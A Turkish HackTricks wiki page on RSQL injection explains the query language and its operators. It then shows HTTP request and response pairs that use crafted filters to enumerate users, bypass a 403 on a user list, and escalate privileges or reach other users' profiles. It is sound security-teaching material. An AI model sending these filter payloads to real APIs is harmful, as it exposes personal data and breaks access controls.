mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
573 lines
22 KiB
Markdown
573 lines
22 KiB
Markdown
# RSQL Injection
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|
||
|
||
## RSQL Nedir?
|
||
RSQL, RESTful API'lerde girişlerin parametreli filtrelenmesi için tasarlanmış bir sorgu dilidir. FIQL (Feed Item Query Language) temel alınarak geliştirilmiştir ve başlangıçta Mark Nottingham tarafından Atom beslemelerini sorgulamak için belirtilmiştir. RSQL, basitliği ve karmaşık sorguları kompakt ve URI uyumlu bir şekilde HTTP üzerinden ifade etme yeteneği ile öne çıkar. Bu, onu REST uç noktası aramaları için genel bir sorgu dili olarak mükemmel bir seçim haline getirir.
|
||
|
||
## Genel Bakış
|
||
RSQL Injection, RSQL'i sorgu dili olarak kullanan web uygulamalarındaki bir güvenlik açığıdır. [SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection) ve [LDAP Injection](https://owasp.org/www-community/attacks/LDAP_Injection) ile benzer şekilde, bu güvenlik açığı RSQL filtreleri düzgün bir şekilde temizlenmediğinde ortaya çıkar ve bir saldırganın yetkisiz olarak verilere erişmesine, değiştirmesine veya silmesine olanak tanır.
|
||
|
||
## Nasıl çalışır?
|
||
RSQL, RESTful API'lerde gelişmiş sorgular oluşturmanıza olanak tanır, örneğin:
|
||
```bash
|
||
/products?filter=price>100;category==electronics
|
||
```
|
||
Bu, fiyatı 100'den büyük ve kategori "elektronik" olan ürünleri filtreleyen yapılandırılmış bir sorguya dönüşür.
|
||
|
||
Eğer uygulama kullanıcı girişini doğru bir şekilde doğrulamıyorsa, bir saldırgan filtreyi manipüle ederek beklenmedik sorgular çalıştırabilir, örneğin:
|
||
```bash
|
||
/products?filter=id=in=(1,2,3);delete_all==true
|
||
```
|
||
Or hatta Boolean sorguları veya iç içe alt sorgularla hassas bilgileri çıkarmak için avantaj sağlayabilir.
|
||
|
||
## Riskler
|
||
- **Hassas verilerin ifşası:** Bir saldırgan, erişilmemesi gereken bilgileri alabilir.
|
||
- **Veri değiştirme veya silme:** Veritabanı kayıtlarını değiştiren filtrelerin enjekte edilmesi.
|
||
- **Yetki yükseltme:** Filtreler aracılığıyla roller veren tanımlayıcıların manipülasyonu, uygulamayı diğer kullanıcıların ayrıcalıklarıyla erişim sağlamak için kandırmak.
|
||
- **Erişim kontrollerinden kaçınma:** Kısıtlı verilere erişmek için filtrelerin manipülasyonu.
|
||
- **Taklit veya IDOR:** Diğer kullanıcıların bilgilerine ve kaynaklarına erişim sağlamak için filtreler aracılığıyla kullanıcılar arasındaki tanımlayıcıların değiştirilmesi, bu kullanıcılar olarak doğru bir şekilde kimlik doğrulaması yapılmadan.
|
||
|
||
## Desteklenen RSQL operatörleri
|
||
| Operatör | Açıklama | Örnek |
|
||
|:----: |:----: |:------------------:|
|
||
| `;` / `and` | Mantıksal **VE** operatörü. *Her iki* koşulun da *doğru* olduğu satırları filtreler | `/api/v2/myTable?q=columnA==valueA;columnB==valueB` |
|
||
| `,` / `or` | Mantıksal **VEYA** operatörü. *En az bir* koşulun *doğru* olduğu satırları filtreler | `/api/v2/myTable?q=columnA==valueA,columnB==valueB` |
|
||
| `==` | **eşittir** sorgusu yapar. *myTable*'dan *columnA* değerlerinin *queryValue* ile tam olarak eşit olduğu tüm satırları döndürür | `/api/v2/myTable?q=columnA==queryValue` |
|
||
| `=q=` | **arama** sorgusu yapar. *myTable*'dan *columnA* değerlerinin *queryValue* içerdiği tüm satırları döndürür | `/api/v2/myTable?q=columnA=q=queryValue` |
|
||
| `=like=` | **benzer** sorgusu yapar. *myTable*'dan *columnA* değerlerinin *queryValue* gibi olduğu tüm satırları döndürür | `/api/v2/myTable?q=columnA=like=queryValue` |
|
||
| `=in=` | **içinde** sorgusu yapar. *myTable*'dan *columnA*'nın *valueA* VEYA *valueB* içerdiği tüm satırları döndürür | `/api/v2/myTable?q=columnA=in=(valueA, valueB)` |
|
||
| `=out=` | **hariç** sorgusu yapar. *myTable*'dan *columnA* değerlerinin ne *valueA* ne de *valueB* olduğu tüm satırları döndürür | `/api/v2/myTable?q=columnA=out=(valueA,valueB)` |
|
||
| `!=` | *eşit değildir* sorgusu yapar. *myTable*'dan *columnA* değerlerinin *queryValue* ile eşit olmadığı tüm satırları döndürür | `/api/v2/myTable?q=columnA!=queryValue` |
|
||
| `=notlike=` | **benzer değil** sorgusu yapar. *myTable*'dan *columnA* değerlerinin *queryValue* gibi olmadığı tüm satırları döndürür | `/api/v2/myTable?q=columnA=notlike=queryValue` |
|
||
| `<` & `=lt=` | **küçüktür** sorgusu yapar. *myTable*'dan *columnA* değerlerinin *queryValue*'dan küçük olduğu tüm satırları döndürür | `/api/v2/myTable?q=columnA<queryValue` <br> `/api/v2/myTable?q=columnA=lt=queryValue` |
|
||
| `=le=` & `<=` | **küçük veya eşit** sorgusu yapar. *myTable*'dan *columnA* değerlerinin *queryValue*'dan küçük veya ona eşit olduğu tüm satırları döndürür | `/api/v2/myTable?q=columnA<=queryValue` <br> `/api/v2/myTable?q=columnA=le=queryValue` |
|
||
| `>` & `=gt=` | **büyüktür** sorgusu yapar. *myTable*'dan *columnA* değerlerinin *queryValue*'dan büyük olduğu tüm satırları döndürür | `/api/v2/myTable?q=columnA>queryValue` <br> `/api/v2/myTable?q=columnA=gt=queryValue` |
|
||
| `>=` & `=ge=` | **eşit** veya **büyük** sorgusu yapar. *myTable*'dan *columnA* değerlerinin *queryValue*'ya eşit veya ondan büyük olduğu tüm satırları döndürür | `/api/v2/myTable?q=columnA>=queryValue` <br> `/api/v2/myTable?q=columnA=ge=queryValue` |
|
||
| `=rng=` | **arasında** sorgusu yapar. *myTable*'dan *columnA* değerlerinin *fromValue*'ya eşit veya ondan büyük ve *toValue*'dan küçük veya ona eşit olduğu tüm satırları döndürür | `/api/v2/myTable?q=columnA=rng=(fromValue,toValue)` |
|
||
|
||
**Not**: Tablo, [**MOLGENIS**](https://molgenis.gitbooks.io/molgenis/content/) ve [**rsql-parser**](https://github.com/jirutka/rsql-parser) uygulamalarından alınan bilgilere dayanmaktadır.
|
||
|
||
#### Örnekler
|
||
- name=="Kill Bill";year=gt=2003
|
||
- name=="Kill Bill" and year>2003
|
||
- genres=in=(sci-fi,action);(director=='Christopher Nolan',actor==*Bale);year=ge=2000
|
||
- genres=in=(sci-fi,action) and (director=='Christopher Nolan' or actor==*Bale) and year>=2000
|
||
- director.lastName==Nolan;year=ge=2000;year=lt=2010
|
||
- director.lastName==Nolan and year>=2000 and year<2010
|
||
- genres=in=(sci-fi,action);genres=out=(romance,animated,horror),director==Que*Tarantino
|
||
- genres=in=(sci-fi,action) and genres=out=(romance,animated,horror) or director==Que*Tarantino
|
||
|
||
**Not**: Tablo, [**rsql-parser**](https://github.com/jirutka/rsql-parser) uygulamasından alınan bilgilere dayanmaktadır.
|
||
|
||
## Yaygın filtreler
|
||
Bu filtreler, API'lerde sorguları daraltmaya yardımcı olur:
|
||
|
||
| Filtre | Açıklama | Örnek |
|
||
|--------|------------|---------|
|
||
| `filter[users]` | Belirli kullanıcılar tarafından sonuçları filtreler | `/api/v2/myTable?filter[users]=123` |
|
||
| `filter[status]` | Duruma göre filtreler (aktif/aktif değil, tamamlandı, vb.) | `/api/v2/orders?filter[status]=active` |
|
||
| `filter[date]` | Tarih aralığında sonuçları filtreler | `/api/v2/logs?filter[date]=gte:2024-01-01` |
|
||
| `filter[category]` | Kategori veya kaynak türüne göre filtreler | `/api/v2/products?filter[category]=electronics` |
|
||
| `filter[id]` | Benzersiz bir tanımlayıcıya göre filtreler | `/api/v2/posts?filter[id]=42` |
|
||
|
||
## Yaygın parametreler
|
||
Bu parametreler, API yanıtlarını optimize etmeye yardımcı olur:
|
||
|
||
| Parametre | Açıklama | Örnek |
|
||
|-----------|------------|---------|
|
||
| `include` | Yanıt içinde ilgili kaynakları dahil eder | `/api/v2/orders?include=customer,items` |
|
||
| `sort` | Sonuçları artan veya azalan sırada sıralar | `/api/v2/users?sort=-created_at` |
|
||
| `page[size]` | Sayfa başına sonuç sayısını kontrol eder | `/api/v2/products?page[size]=10` |
|
||
| `page[number]` | Sayfa numarasını belirtir | `/api/v2/products?page[number]=2` |
|
||
| `fields[resource]` | Yanıt içinde hangi alanların döneceğini tanımlar | `/api/v2/users?fields[users]=id,name,email` |
|
||
| `search` | Daha esnek bir arama yapar | `/api/v2/posts?search=technology` |
|
||
|
||
## Bilgi sızıntısı ve kullanıcıların sayımı
|
||
Aşağıdaki istek, e-posta parametresini kontrol etmek için bir kayıt uç noktasını gösterir; bu, o e-posta ile kayıtlı bir kullanıcı olup olmadığını kontrol eder ve veritabanında var olup olmadığına bağlı olarak doğru veya yanlış döndürür:
|
||
### İstek
|
||
```
|
||
GET /api/registrations HTTP/1.1
|
||
Host: localhost:3000
|
||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
|
||
Accept: application/vnd.api+json
|
||
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
|
||
Accept-Encoding: gzip, deflate, br, zstd
|
||
Content-Type: application/vnd.api+json
|
||
Origin: https://localhost:3000
|
||
Connection: keep-alive
|
||
Referer: https://localhost:3000/
|
||
Sec-Fetch-Dest: empty
|
||
Sec-Fetch-Mode: cors
|
||
Sec-Fetch-Site: same-site
|
||
```
|
||
### Yanıt
|
||
```
|
||
HTTP/1.1 400
|
||
Date: Sat, 22 Mar 2025 14:47:14 GMT
|
||
Content-Type: application/vnd.api+json
|
||
Connection: keep-alive
|
||
Vary: Origin
|
||
Vary: Access-Control-Request-Method
|
||
Vary: Access-Control-Request-Headers
|
||
Access-Control-Allow-Origin: *
|
||
Content-Length: 85
|
||
|
||
{
|
||
"errors": [{
|
||
"code": "BLANK",
|
||
"detail": "Missing required param: email",
|
||
"status": "400"
|
||
}]
|
||
}
|
||
```
|
||
Bir `/api/registrations?email=<emailAccount>` beklenmesine rağmen, özel operatörlerin kullanımıyla kullanıcı bilgilerini saymak ve/veya çıkarmak için RSQL filtreleri kullanmak mümkündür:
|
||
### Request
|
||
```
|
||
GET /api/registrations?filter[userAccounts]=email=='test@test.com' HTTP/1.1
|
||
Host: localhost:3000
|
||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
|
||
Accept: application/vnd.api+json
|
||
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
|
||
Accept-Encoding: gzip, deflate, br, zstd
|
||
Content-Type: application/vnd.api+json
|
||
Origin: https://locahost:3000
|
||
Connection: keep-alive
|
||
Referer: https://locahost:3000/
|
||
Sec-Fetch-Dest: empty
|
||
Sec-Fetch-Mode: cors
|
||
Sec-Fetch-Site: same-site
|
||
```
|
||
### Yanıt
|
||
```
|
||
HTTP/1.1 200
|
||
Date: Sat, 22 Mar 2025 14:09:38 GMT
|
||
Content-Type: application/vnd.api+json;charset=UTF-8
|
||
Content-Length: 38
|
||
Connection: keep-alive
|
||
Vary: Origin
|
||
Vary: Access-Control-Request-Method
|
||
Vary: Access-Control-Request-Headers
|
||
Access-Control-Allow-Origin: *
|
||
|
||
{
|
||
"data": {
|
||
"attributes": {
|
||
"tenants": []
|
||
}
|
||
}
|
||
}
|
||
```
|
||
Geçerli bir e-posta hesabıyla eşleşme durumunda, uygulama sunucuya yanıt olarak klasik bir *“true”*, *"1"* veya başka bir şey yerine kullanıcının bilgilerini döndürecektir:
|
||
### Request
|
||
```
|
||
GET /api/registrations?filter[userAccounts]=email=='manuel**********@domain.local' HTTP/1.1
|
||
Host: localhost:3000
|
||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
|
||
Accept: application/vnd.api+json
|
||
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
|
||
Accept-Encoding: gzip, deflate, br, zstd
|
||
Content-Type: application/vnd.api+json
|
||
Origin: https://localhost:3000
|
||
Connection: keep-alive
|
||
Referer: https://localhost:3000/
|
||
Sec-Fetch-Dest: empty
|
||
Sec-Fetch-Mode: cors
|
||
Sec-Fetch-Site: same-site
|
||
```
|
||
### Yanıt
|
||
```
|
||
HTTP/1.1 200
|
||
Date: Sat, 22 Mar 2025 14:19:46 GMT
|
||
Content-Type: application/vnd.api+json;charset=UTF-8
|
||
Content-Length: 293
|
||
Connection: keep-alive
|
||
Vary: Origin
|
||
Vary: Access-Control-Request-Method
|
||
Vary: Access-Control-Request-Headers
|
||
Access-Control-Allow-Origin: *
|
||
|
||
{
|
||
"data": {
|
||
"id": "********************",
|
||
"type": "UserAccountDTO",
|
||
"attributes": {
|
||
"id": "********************",
|
||
"type": "UserAccountDTO",
|
||
"email": "manuel**********@domain.local",
|
||
"sub": "*********************",
|
||
"status": "ACTIVE",
|
||
"tenants": [{
|
||
"id": "1"
|
||
}]
|
||
}
|
||
}
|
||
}
|
||
```
|
||
## Yetki kaçışı
|
||
Bu senaryoda, temel bir role sahip bir kullanıcıdan başlıyoruz ve veritabanında kayıtlı tüm kullanıcıların listesini erişmek için ayrıcalıklı izinlerimiz yok (örneğin, yönetici):
|
||
### İstek
|
||
```
|
||
GET /api/users HTTP/1.1
|
||
Host: localhost:3000
|
||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
|
||
Accept: application/vnd.api+json
|
||
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
|
||
Accept-Encoding: gzip, deflate, br, zstd
|
||
Content-Type: application/vnd.api+json
|
||
Authorization: Bearer eyJhb.................
|
||
Origin: https://localhost:3000
|
||
Connection: keep-alive
|
||
Referer: https://localhost:3000/
|
||
Sec-Fetch-Dest: empty
|
||
Sec-Fetch-Mode: cors
|
||
Sec-Fetch-Site: same-site
|
||
```
|
||
### Yanıt
|
||
```
|
||
HTTP/1.1 403
|
||
Date: Sat, 22 Mar 2025 14:40:07 GMT
|
||
Content-Length: 0
|
||
Connection: keep-alive
|
||
Vary: Origin
|
||
Vary: Access-Control-Request-Method
|
||
Vary: Access-Control-Request-Headers
|
||
Access-Control-Allow-Origin: *
|
||
```
|
||
Yine, kullanıcıların bilgilerini elde etmenin ve erişim kontrolünü aşmanın alternatif bir yolunu sağlayacak filtreleri ve özel operatörleri kullanıyoruz. Örneğin, kullanıcı *ID*'sinde “*a*” harfini içeren *kullanıcı*ları filtreleyin:
|
||
### Request
|
||
```
|
||
GET /api/users?filter[users]=id=in=(*a*) HTTP/1.1
|
||
Host: localhost:3000
|
||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
|
||
Accept: application/vnd.api+json
|
||
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
|
||
Accept-Encoding: gzip, deflate, br, zstd
|
||
Content-Type: application/vnd.api+json
|
||
Authorization: Bearer eyJhb.................
|
||
Origin: https://localhost:3000
|
||
Connection: keep-alive
|
||
Referer: https://localhost:3000/
|
||
Sec-Fetch-Dest: empty
|
||
Sec-Fetch-Mode: cors
|
||
Sec-Fetch-Site: same-site
|
||
```
|
||
### Yanıt
|
||
```
|
||
HTTP/1.1 200
|
||
Date: Sat, 22 Mar 2025 14:43:28 GMT
|
||
Content-Type: application/vnd.api+json;charset=UTF-8
|
||
Content-Length: 1434192
|
||
Connection: keep-alive
|
||
Vary: Origin
|
||
Vary: Access-Control-Request-Method
|
||
Vary: Access-Control-Request-Headers
|
||
Access-Control-Allow-Origin: *
|
||
|
||
{
|
||
"data": [{
|
||
"id": "********A***********",
|
||
"type": "UserGetResponseCustomDTO",
|
||
"attributes": {
|
||
"status": "ACTIVE",
|
||
"countryId": 63,
|
||
"timeZoneId": 3,
|
||
"translationKey": "************",
|
||
"email": "**********@domain.local",
|
||
"firstName": "rafael",
|
||
"surname": "************",
|
||
"telephoneCountryCode": "**",
|
||
"mobilePhone": "*********",
|
||
"taxIdentifier": "********",
|
||
"languageId": 1,
|
||
"createdAt": "2024-08-09T10:57:41.237Z",
|
||
"termsOfUseAccepted": true,
|
||
"id": "******************",
|
||
"type": "UserGetResponseCustomDTO"
|
||
}
|
||
}, {
|
||
"id": "*A*******A*****A*******A******",
|
||
"type": "UserGetResponseCustomDTO",
|
||
"attributes": {
|
||
"status": "ACTIVE",
|
||
"countryId": 63,
|
||
"timeZoneId": 3,
|
||
"translationKey": ""************",
|
||
"email": "juan*******@domain.local",
|
||
"firstName": "juan",
|
||
"surname": ""************",",
|
||
"telephoneCountryCode": "**",
|
||
"mobilePhone": "************",
|
||
"taxIdentifier": "************",
|
||
"languageId": 1,
|
||
"createdAt": "2024-07-18T06:07:37.68Z",
|
||
"termsOfUseAccepted": true,
|
||
"id": "*******************",
|
||
"type": "UserGetResponseCustomDTO"
|
||
}
|
||
}, {
|
||
................
|
||
```
|
||
## Yetki Yükseltme
|
||
Kullanıcı yetkilerini rolleri aracılığıyla kontrol eden belirli uç noktalar bulmak oldukça olasıdır. Örneğin, yetkisi olmayan bir kullanıcı ile ilgileniyoruz:
|
||
### İstek
|
||
```
|
||
GET /api/companyUsers?include=role HTTP/1.1
|
||
Host: localhost:3000
|
||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
|
||
Accept: application/vnd.api+json
|
||
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
|
||
Accept-Encoding: gzip, deflate, br, zstd
|
||
Content-Type: application/vnd.api+json
|
||
Authorization: Bearer eyJhb......
|
||
Origin: https://localhost:3000
|
||
Connection: keep-alive
|
||
Referer: https://localhost:3000/
|
||
Sec-Fetch-Dest: empty
|
||
Sec-Fetch-Mode: cors
|
||
Sec-Fetch-Site: same-site
|
||
```
|
||
### Yanıt
|
||
```
|
||
HTTP/1.1 200
|
||
Date: Sat, 22 Mar 2025 19:13:08 GMT
|
||
Content-Type: application/vnd.api+json;charset=UTF-8
|
||
Content-Length: 11
|
||
Connection: keep-alive
|
||
Vary: Origin
|
||
Vary: Access-Control-Request-Method
|
||
Vary: Access-Control-Request-Headers
|
||
Access-Control-Allow-Origin: *
|
||
|
||
{
|
||
"data": []
|
||
}
|
||
```
|
||
Belirli operatörleri kullanarak yönetici kullanıcılarını sayabiliriz:
|
||
### İstek
|
||
```
|
||
GET /api/companyUsers?include=role&filter[companyUsers]=user.id=='94****************************' HTTP/1.1
|
||
Host: localhost:3000
|
||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
|
||
Accept: application/vnd.api+json
|
||
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
|
||
Accept-Encoding: gzip, deflate, br, zstd
|
||
Content-Type: application/vnd.api+json
|
||
Authorization: Bearer eyJh.....
|
||
Origin: https://localhost:3000
|
||
Connection: keep-alive
|
||
Referer: https://localhost:3000/
|
||
Sec-Fetch-Dest: empty
|
||
Sec-Fetch-Mode: cors
|
||
Sec-Fetch-Site: same-site
|
||
```
|
||
### Yanıt
|
||
```
|
||
HTTP/1.1 200
|
||
Date: Sat, 22 Mar 2025 19:13:45 GMT
|
||
Content-Type: application/vnd.api+json;charset=UTF-8
|
||
Content-Length: 361
|
||
Connection: keep-alive
|
||
Vary: Origin
|
||
Vary: Access-Control-Request-Method
|
||
Vary: Access-Control-Request-Headers
|
||
Access-Control-Allow-Origin: *
|
||
|
||
{
|
||
"data": [{
|
||
"type": "CompanyUserGetResponseDTO",
|
||
"attributes": {
|
||
"companyId": "FA**************",
|
||
"companyTaxIdentifier": "B999*******",
|
||
"bizName": "company sl",
|
||
"email": "jose*******@domain.local",
|
||
"userRole": {
|
||
"userRoleId": 1,
|
||
"userRoleKey": "general.roles.admin"
|
||
},
|
||
"companyCountryTranslationKey": "*******",
|
||
"type": "CompanyUserGetResponseDTO"
|
||
}
|
||
}]
|
||
}
|
||
```
|
||
Bir yönetici kullanıcısının tanımlayıcısını bildikten sonra, ilgili filtreyi yönetici tanımlayıcısıyla değiştirmek veya eklemek suretiyle bir ayrıcalık yükseltmesi istismar etmek mümkün olacaktır ve aynı ayrıcalıkları elde edilecektir:
|
||
### Request
|
||
```
|
||
GET /api/functionalities/allPermissionsFunctionalities?filter[companyUsers]=user.id=='94****************************' HTTP/1.1
|
||
Host: localhost:3000
|
||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
|
||
Accept: application/vnd.api+json
|
||
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
|
||
Accept-Encoding: gzip, deflate, br, zstd
|
||
Content-Type: application/vnd.api+json
|
||
Authorization: Bearer eyJ.....
|
||
Origin: https:/localhost:3000
|
||
Connection: keep-alive
|
||
Referer: https:/localhost:3000/
|
||
Sec-Fetch-Dest: empty
|
||
Sec-Fetch-Mode: cors
|
||
Sec-Fetch-Site: same-site
|
||
```
|
||
### Yanıt
|
||
```
|
||
HTTP/1.1 200
|
||
Date: Sat, 22 Mar 2025 18:53:00 GMT
|
||
Content-Type: application/vnd.api+json;charset=UTF-8
|
||
Content-Length: 68833
|
||
Connection: keep-alive
|
||
Vary: Origin
|
||
Vary: Access-Control-Request-Method
|
||
Vary: Access-Control-Request-Headers
|
||
Access-Control-Allow-Origin: *
|
||
|
||
{
|
||
"meta": {
|
||
"Functionalities": [{
|
||
"functionalityId": 1,
|
||
"permissionId": 1,
|
||
"effectivePriority": "PERMIT",
|
||
"effectiveBehavior": "PERMIT",
|
||
"translationKey": "general.userProfile",
|
||
"type": "FunctionalityPermissionDTO"
|
||
}, {
|
||
"functionalityId": 2,
|
||
"permissionId": 2,
|
||
"effectivePriority": "PERMIT",
|
||
"effectiveBehavior": "PERMIT",
|
||
"translationKey": "general.my_profile",
|
||
"type": "FunctionalityPermissionDTO"
|
||
}, {
|
||
"functionalityId": 3,
|
||
"permissionId": 3,
|
||
"effectivePriority": "PERMIT",
|
||
"effectiveBehavior": "PERMIT",
|
||
"translationKey": "layout.change_user_data",
|
||
"type": "FunctionalityPermissionDTO"
|
||
}, {
|
||
"functionalityId": 4,
|
||
"permissionId": 4,
|
||
"effectivePriority": "PERMIT",
|
||
"effectiveBehavior": "PERMIT",
|
||
"translationKey": "general.configuration",
|
||
"type": "FunctionalityPermissionDTO"
|
||
}, {
|
||
.......
|
||
```
|
||
## Taklit Etme veya Güvensiz Doğrudan Nesne Referansları (IDOR)
|
||
`filter` parametresinin kullanımına ek olarak, sonuçta belirli parametreleri (örneğin dil, ülke, şifre...) dahil etmeye olanak tanıyan `include` gibi diğer parametrelerin kullanılması da mümkündür.
|
||
|
||
Aşağıdaki örnekte, kullanıcı profilimizin bilgileri gösterilmektedir:
|
||
### İstek
|
||
```
|
||
GET /api/users?include=language,country HTTP/1.1
|
||
Host: localhost:3000
|
||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
|
||
Accept: application/vnd.api+json
|
||
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
|
||
Accept-Encoding: gzip, deflate, br, zstd
|
||
Content-Type: application/vnd.api+json
|
||
Authorization: Bearer eyJ......
|
||
Origin: https://localhost:3000
|
||
Connection: keep-alive
|
||
Referer: https://localhost:3000/
|
||
Sec-Fetch-Dest: empty
|
||
Sec-Fetch-Mode: cors
|
||
Sec-Fetch-Site: same-site
|
||
```
|
||
### Yanıt
|
||
```
|
||
HTTP/1.1 200
|
||
Date: Sat, 22 Mar 2025 19:47:27 GMT
|
||
Content-Type: application/vnd.api+json;charset=UTF-8
|
||
Content-Length: 540
|
||
Connection: keep-alive
|
||
Vary: Origin
|
||
Vary: Access-Control-Request-Method
|
||
Vary: Access-Control-Request-Headers
|
||
Access-Control-Allow-Origin: *
|
||
|
||
{
|
||
"data": [{
|
||
"id": "D5********************",
|
||
"type": "UserGetResponseCustomDTO",
|
||
"attributes": {
|
||
"status": "ACTIVE",
|
||
"countryId": 63,
|
||
"timeZoneId": 3,
|
||
"translationKey": "**********",
|
||
"email": "domingo....@domain.local",
|
||
"firstName": "Domingo",
|
||
"surname": "**********",
|
||
"telephoneCountryCode": "**",
|
||
"mobilePhone": "******",
|
||
"languageId": 1,
|
||
"createdAt": "2024-03-11T07:24:57.627Z",
|
||
"termsOfUseAccepted": true,
|
||
"howMeetUs": "**************",
|
||
"id": "D5********************",
|
||
"type": "UserGetResponseCustomDTO"
|
||
}
|
||
}]
|
||
}
|
||
```
|
||
Filtrelerin kombinasyonu, yetkilendirme kontrolünden kaçmak ve diğer kullanıcıların profillerine erişim sağlamak için kullanılabilir:
|
||
### Request
|
||
```
|
||
GET /api/users?include=language,country&filter[users]=id=='94***************' HTTP/1.1
|
||
Host: localhost:3000
|
||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
|
||
Accept: application/vnd.api+json
|
||
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
|
||
Accept-Encoding: gzip, deflate, br, zstd
|
||
Content-Type: application/vnd.api+json
|
||
Authorization: Bearer eyJ....
|
||
Origin: https://localhost:3000
|
||
Connection: keep-alive
|
||
Referer: https://localhost:3000/
|
||
Sec-Fetch-Dest: empty
|
||
Sec-Fetch-Mode: cors
|
||
Sec-Fetch-Site: same-site
|
||
```
|
||
### Yanıt
|
||
```
|
||
HTTP/1.1 200
|
||
Date: Sat, 22 Mar 2025 19:50:07 GMT
|
||
Content-Type: application/vnd.api+json;charset=UTF-8
|
||
Content-Length: 520
|
||
Connection: keep-alive
|
||
Vary: Origin
|
||
Vary: Access-Control-Request-Method
|
||
Vary: Access-Control-Request-Headers
|
||
Access-Control-Allow-Origin: *
|
||
|
||
{
|
||
"data": [{
|
||
"id": "94******************",
|
||
"type": "UserGetResponseCustomDTO",
|
||
"attributes": {
|
||
"status": "ACTIVE",
|
||
"countryId": 63,
|
||
"timeZoneId": 2,
|
||
"translationKey": "**************",
|
||
"email": "jose******@domain.local",
|
||
"firstName": "jose",
|
||
"surname": "***************",
|
||
"telephoneCountryCode": "**",
|
||
"mobilePhone": "********",
|
||
"taxIdentifier": "*********",
|
||
"languageId": 1,
|
||
"createdAt": "2024-11-21T08:29:05.833Z",
|
||
"termsOfUseAccepted": true,
|
||
"id": "94******************",
|
||
"type": "UserGetResponseCustomDTO"
|
||
}
|
||
}]
|
||
}
|
||
```
|
||
## Referanslar
|
||
- [RSQL Injection](https://owasp.org/www-community/attacks/RSQL_Injection)
|
||
- [RSQL Injection Exploitation](https://m3n0sd0n4ld.github.io/patoHackventuras/rsql_injection_exploitation)
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|